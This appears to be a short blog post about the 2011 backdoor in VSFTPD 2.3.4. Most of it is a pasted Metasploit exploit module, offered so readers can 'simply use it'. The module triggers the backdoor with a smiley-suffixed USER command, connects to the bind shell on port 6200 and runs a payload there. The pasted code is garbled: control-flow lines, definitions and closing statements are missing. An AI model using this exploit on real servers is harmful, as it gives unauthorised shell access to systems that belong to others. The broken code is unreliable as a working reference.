Very
Secure
FTP Daemon (VSFTPD) is the default FTP server in the Ubuntu, CentOS, Fedora, NimbleX and RHEL Linux distributions.Many people in this world by default to use the VSFTPD as FTP on their server because this program is so simple and more. While this program has got many user also give a bug that very fatal. VSFTPD v2.3.4 has a bug for Backdoor Command Execution. Source for this bug you can find at Metasploit. If you lazy to search on metasploit, here I paste and then you can simply use it.
class Metasploit3 < Msf::Exploit::Remote |
include Msf::Exploit::Remote::Tcp |
def initialize(info = {}) |
'Name' => 'VSFTPD v2.3.4 Backdoor Command Execution' , |
This module exploits a malicious backdoor that was added to the VSFTPD download |
archive. This backdoor was introdcued into the vsftpd- 2 . 3 . 4 .tar.gz archive between |
June 30th 2011 and July 1st 2011 according to the most recent information |
available. This backdoor was removed on July 3rd 2011 . |
'Author' => [ 'hdm' , 'mc' ], |
'License' => MSF_LICENSE , |
'Version' => '$Revision: 13099 $' , |
[ 'URL' , 'http://pastebin.com/AetT9sS5' ], |
[ 'URL' , 'http://scarybeastsecurity.blogspot.com/2011/07/alert-vsftpd-download-backdoored.html' ], |
'Platform' => [ 'unix' ], |
'PayloadType' => 'cmd_interact' , |
'ConnectionType' => 'find' |
'DisclosureDate' => 'Jul 3 2011' , |
register_options([ Opt:: RPORT ( 21 ) ], self . class ) |
nsock = self .connect( false , { 'RPORT' => 6200 }) rescue nil |
print_status( "The port used by the backdoor bind listener is already open" ) |
banner = sock.get_once(- 1 , 30 ).to_s |
print_status( "Banner: #{banner.strip}" ) |
sock.put( "USER #{rand_text_alphanumeric(rand(6)+1)}:)\r\n" ) |
resp = sock.get_once(- 1 , 30 ).to_s |
print_status( "USER: #{resp.strip}" ) |
print_error( "This server is configured for anonymous only and the backdoor code cannot be reached" ) |
print_error( "This server did not respond as expected: #{resp.strip}" ) |
sock.put( "PASS #{rand_text_alphanumeric(rand(6)+1)}\r\n" ) |
nsock = self .connect( false , { 'RPORT' => 6200 }) rescue nil |
print_good( "Backdoor service has been spawned, handling..." ) |
r = s.get_once(- 1 , 5 ).to_s |
print_error( "The service on port 6200 does not appear to be a shell" ) |
print_good( "UID: #{r.strip}" ) |
s.put( "nohup " + payload.encoded + " >/dev/null 2>&1" ) |
end
0 comments:
Post a Comment